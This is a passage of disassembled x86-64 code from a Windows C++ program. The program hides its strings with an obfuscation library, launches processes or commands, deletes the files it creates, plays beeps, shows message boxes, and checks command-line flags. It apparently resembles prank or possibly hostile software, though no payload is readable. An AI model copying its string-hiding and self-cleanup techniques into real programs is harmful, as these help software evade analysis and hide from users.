call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x17d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x182e]
mov qword [rbp + 0x3ba8], rax
nop
nop
lea rax, [rbp + 0x182f]
mov rcx, rax
call method.main.lambda__47::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__9192729897690983709ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x182e]
lea rax, [rbp + 0x1800]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1800]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1800]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x182e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x3da0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1830]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1850]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x1830]
lea rax, [rbp + 0x1850]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x1850]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1830]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp dword [rbp + 0x3dd0], 8
jle 0x2319526a1
lea rax, [rbp + 0x187e]
mov rcx, rax
call method.main.lambda__48::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__15230933494940951965ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x40
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319526a1
mov eax, 1
jmp 0x2319526a6
mov eax, 0
test al, al
je 0x2319526e7
lea rax, [rbp + 0x187f]
mov rcx, rax
call method.main.lambda__49::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__15930894308521225665ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231952718
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1880]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1880]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1880]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x18cc]
mov qword [rbp + 0x3ba0], rax
nop
nop
lea rax, [rbp + 0x18cd]
mov rcx, rax
call method.main.lambda__50::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__2396439500399564663ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x18cc]
lea rax, [rbp + 0x18a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x18a0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x18a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x18cc]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
cmp dword [rbp + 0x3dd0], 0xd
jle 0x23195281b
lea rax, [rbp + 0x18ce]
mov rcx, rax
call method.main.lambda__51::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__9360660828634578745ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x68
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195281b
mov eax, 1
jmp 0x231952820
mov eax, 0
test al, al
je 0x231952864
lea rax, [rbp + 0x18cf]
mov rcx, rax
call method.main.lambda__52::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__4148678912376406465ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231952945
mov edx, 0x12c
mov ecx, 0x19f
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x19f
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x26e
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x26e
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x2ba
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x2ba
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x26e
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 1
mov ecx, 0x12c
call sym.f_slpc_unsigned_long__int_
mov edx, 0x12c
mov ecx, 0x22a
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x22a
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x20b
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x20b
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x1d2
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x1d2
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x19f
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x18fe]
mov qword [rbp + 0x3b98], rax
nop
nop
lea rax, [rbp + 0x18ff]
mov rcx, rax
call method.main.lambda__53::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__2385068456923608481ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x18fe]
lea rax, [rbp + 0x18d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x18d0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x18d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x18fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x3d98]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1900]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, rbp
lea rax, [rbp + 0x1920]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x1900]
lea rax, [rbp + 0x1920]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x1920]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1900]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp dword [rbp + 0x3dd0], 8
jle 0x231952a99
lea rax, [rbp + 0x194e]
mov rcx, rax
call method.main.lambda__54::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__7323228507851814835ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x40
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231952a99
mov eax, 1
jmp 0x231952a9e
mov eax, 0
test al, al
je 0x231952adf
lea rax, [rbp + 0x194f]
mov rcx, rax
call method.main.lambda__55::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__3552161057441151357ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231952b10
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1950]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1950]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1950]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x199e]
mov qword [rbp + 0x3b90], rax
nop
nop
lea rax, [rbp + 0x199f]
mov rcx, rax
call method.main.lambda__56::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__2251603790188375451ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x199e]
lea rax, [rbp + 0x1970]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1970]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1970]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x199e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x19ee]
mov qword [rbp + 0x3b88], rax
nop
nop
lea rax, [rbp + 0x19ef]
mov rcx, rax
call method.main.lambda__59::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__14389341603481206535ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x19ee]
lea rax, [rbp + 0x19c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1a3f]
mov qword [rbp + 0x3b80], rax
nop
nop
lea rcx, [rbp + 0x1a3f]
lea rdx, [rbp + 0x210]
lea rax, [rbp + 0x1a10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1a8e]
mov qword [rbp + 0x3b78], rax
nop
nop
lea rax, [rbp + 0x1a8f]
mov rcx, rax
call method.main.lambda__58::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__14389341603481206535ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1a8e]
lea rax, [rbp + 0x1a60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1adf]
mov qword [rbp + 0x3b70], rax
nop
nop
lea rcx, [rbp + 0x1adf]
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1ab0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1b0e]
mov qword [rbp + 0x3b68], rax
nop
nop
lea rax, [rbp + 0x1b0f]
mov rcx, rax
call method.main.lambda__57::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_96ull__14389341603481206535ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1b0e]
lea rax, [rbp + 0x1ae0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1a90]
lea rcx, [rbp + 0x1ab0]
lea rdx, [rbp + 0x1ae0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1a40]
lea rcx, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x19f0]
lea rcx, [rbp + 0x1a10]
lea rdx, [rbp + 0x1a40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x19a0]
lea rcx, [rbp + 0x19c0]
lea rdx, [rbp + 0x19f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x19a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x19a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x19f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b0e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1ab0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1adf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1a60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a8e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1a10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a3f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x19c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x19ee]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1b3c]
mov qword [rbp + 0x3b60], rax
nop
nop
lea rax, [rbp + 0x1b3d]
mov rcx, rax
call method.main.lambda__60::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__13766724703483679155ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1b3c]
lea rax, [rbp + 0x1b10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1b10]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1b10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b3c]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1b3e]
mov rcx, rax
call method.main.lambda__62::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__3975435417903375115ull__char_.operator_char__
mov rbx, rax
lea rax, [rbp + 0x1b3f]
mov rcx, rax
call method.main.lambda__61::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__3975435417903375115ull__char_.operator_char__
mov r9d, 1
mov r8d, 1
mov rdx, rbx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
mov dword [rbp + 0x3cdc], eax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1b6e]
mov qword [rbp + 0x3b58], rax
nop
nop
lea rax, [rbp + 0x1b6f]
mov rcx, rax
call method.main.lambda__63::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__5428400891924304821ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1b6e]
lea rax, [rbp + 0x1b40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1b40]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1b40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b6e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1b9e]
mov qword [rbp + 0x3b50], rax
nop
nop
lea rax, [rbp + 0x1b9f]
mov rcx, rax
call method.main.lambda__65::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__16962554696351034793ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1b9e]
lea rax, [rbp + 0x1b70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1c2e]
mov qword [rbp + 0x3b48], rax
nop
nop
lea rax, [rbp + 0x1c2f]
mov rcx, rax
call method.main.lambda__64::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__16962554696351034793ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1c2e]
lea rax, [rbp + 0x1c00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1c5c]
mov qword [rbp + 0x3b40], rax
nop
nop
lea rcx, [rbp + 0x1c5c]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1c30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1be0]
lea rcx, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1ba0]
lea rcx, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xa0]
lea rcx, [rbp + 0x1b70]
lea rdx, [rbp + 0x1ba0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1be0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c5c]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1c00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c2e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b9e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x540]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
cmp dword [rbp + 0x3dd0], 0xa
jle 0x2319531cb
lea rax, [rbp + 0x1c5d]
mov rcx, rax
call method.main.lambda__66::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__8754388422013838683ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x50
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319531cb
mov eax, 1
jmp 0x2319531d0
mov eax, 0
test al, al
je 0x231953214
lea rax, [rbp + 0x1c5e]
mov rcx, rax
call method.main.lambda__67::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__4881059035749540335ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x2319536c2
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 1
mov rcx, rax
call sym.f_ssd_char_const__int_
test eax, eax
sete al
test al, al
je 0x2319536c2
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.231a0fac0
cmp dword [rbp + 0x3dd0], 0xc
jle 0x23195329f
lea rax, [rbp + 0x1c5f]
mov rcx, rax
call method.main.lambda__68::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8329747461864785259ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x60
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195329f
mov eax, 1
jmp 0x2319532a4
mov eax, 0
test al, al
je 0x23195348b
lea rax, [rbp + 0x1cae]
mov qword [rbp + 0x3b38], rax
nop
nop
lea rax, [rbp + 0x1caf]
mov rcx, rax
call method.main.lambda__70::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__13190332574188293613ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1cae]
lea rax, [rbp + 0x1c80]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1d3e]
mov qword [rbp + 0x3b30], rax
nop
nop
lea rax, [rbp + 0x1d3f]
mov rcx, rax
call method.main.lambda__69::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__13190332574188293613ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1d3e]
lea rax, [rbp + 0x1d10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1d6f]
mov qword [rbp + 0x3b28], rax
nop
nop
lea rcx, [rbp + 0x1d6f]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1d40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1cf0]
lea rcx, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d40]
mov r8, rcx
mov rcx, rax
